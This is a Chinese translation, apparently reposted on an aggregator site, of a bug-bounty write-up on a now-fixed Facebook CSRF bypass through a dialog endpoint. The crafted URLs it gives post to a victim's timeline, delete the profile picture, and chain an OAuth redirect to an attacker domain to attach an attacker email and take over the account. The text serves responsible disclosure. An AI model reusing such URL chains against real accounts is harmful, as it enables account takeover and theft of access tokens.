绕过Facebook CSRF保护——导致帐户接管

Posted 阿里安全响应中心

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了绕过Facebook CSRF保护——导致帐户接管相关的知识,希望对你有一定的参考价值。

此文为翻译文章

原文链接:

https://ysamm.com/?p=185

Youssef Sammouda@Samm0uda

(Twitter)

恭喜翻译作者惊鸿一瞥最是珍贵

获得转发奖励

价值100元的天猫超市享淘卡一张

欢迎更多优质原创、翻译作者加入

欢迎多多投稿到先知社区

前言

此漏洞允许攻击者利用CSRF令牌向Facebook上的任意端点发送请求,从而导致受害者帐户接管。为了使此攻击有效,攻击者必须诱使目标单击某个链接。

示范

这是因为有一个易受攻击的端点,它获取攻击者选择的另一个给定的Facebook端点以及参数,并在添加fb_dtsg参数后向该端点发出POST请求。给定的端点位于主域www.facebook.com下,这使得攻击者更容易欺骗受害者访问URL。

易受攻击的端点:

https://www.facebook.com/comet/dialog_DONOTUSE/?url=XXXX

其中XXXX带有将在其中发出POST请求的参数的端点(CSRF令牌fb_dtsg将自动添加到请求主体)。

如果受害者访问此URL,我们可以采取许多措施。

Make a post on timeline:

https://www.facebook.com/comet/dialog_DONOTUSE/?url=
/api/graphql/%3fdoc_id=1740513229408093%26variables={"input":{"actor_id":{TARGET_ID},"client_mutation_id":"1","source":"WWW","audience":{"web_privacyx":"REDECATED"},"message":{"text":"TEXT","ranges":[]}}}

删除个人资料(Delete Profile Picture):

https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/profile/picture/remove_picture/%3fdelete_from_album=1%26profile_id={TARGET_ID}

欺骗用户删除其帐户(在使用“locale”参数更改语言后)

https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/help/delete_account/dialog/%3f__asyncDialog=0%26locale=fr_FR

帐户接管方法

https://www.facebook.com/comet/dialog_DONOTUSE/?url=
/ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog

此步骤适用于多种情况:
首先使用端点/v3.2/dialog/oauth绕过“next”参数中的Facebook重定向保护,该参数会阻止对外部网站的重定向尝试,即使这些尝试是使用linkshim完成的。
其次,使用接收到的令牌来识别每个受害者,这将有助于稍后提取该特定用户的确认码。
2.攻击者网站接收用户的访问令牌,在该域下为用户创建一封电子邮件,然后将用户重定向到:

https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=
/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]

此URL执行以下操作:
首先,它使用端点/ add_contactpoint / dialog / submit /将电子邮件链接到用户帐户(不需要密码确认)。
链接后,它将重定向到“next”参数中的选定端点:

"/v3.2/dialog/oauth?response_type=token&client_id={ATTACKER_APP}&redirect_uri={ATTACKER_DOMAIN}"

它将使用用户access_token再次重定向到“ATTACKER_DOMAIN”。
3.攻击者网站接收access_Token,提取用户ID,然后搜索收到的该用户的电子邮件,获取确认链接,然后再次重定向到:

https://www.facebook.com/confirmcontact.php?c={CODE}&z=0&gfid={HASH}

(CODE和HASH在收到的Facebook电子邮件中)
对于攻击者来说,此方法更简单,但在链接后,端点会将受害者重定向到

https://www.facebook.com/settings?section=email

这会显示新添加的电子邮件,因此可以使用/confirm_code/dialog/submit/端点完成确认,该端点有一个“next”参数,可以在确认完成后将受害者重定向到主页。
4.电子邮件现在已添加到受害者帐户,攻击者可以重置密码并接管该帐户。
这个攻击看起来很长,但在转瞬之间就完成了,这个攻击的危险之处就在于它不针对某一特点用户,而是只要你点击了步骤1中的链接,你就会掉进了陷阱。

时间线

2018年1月26日——发送报告
2018年1月26日——facebook确定bug
2018年1月28日——发送更多详细信息
2018年1月31日——facebook完成修复
2018年2月12日——facebook奖励$25,000赏金


请猛戳右边二维码

Twitter:AsrcSecurity





阿里安全响应中心

以上是关于绕过Facebook CSRF保护——导致帐户接管的主要内容,如果未能解决你的问题,请参考以下文章

从CSRF到用户信息泄漏,XSS和完整帐户接管

6种方法绕过CSRF保护

绕过 XHR 的 CSRF 保护是不是安全? (导轨)

利用XSS绕过CSRF令牌保护

漏洞分析Facebook安卓版存在CSRF漏洞

利用Window.Opener绕过CSRF保护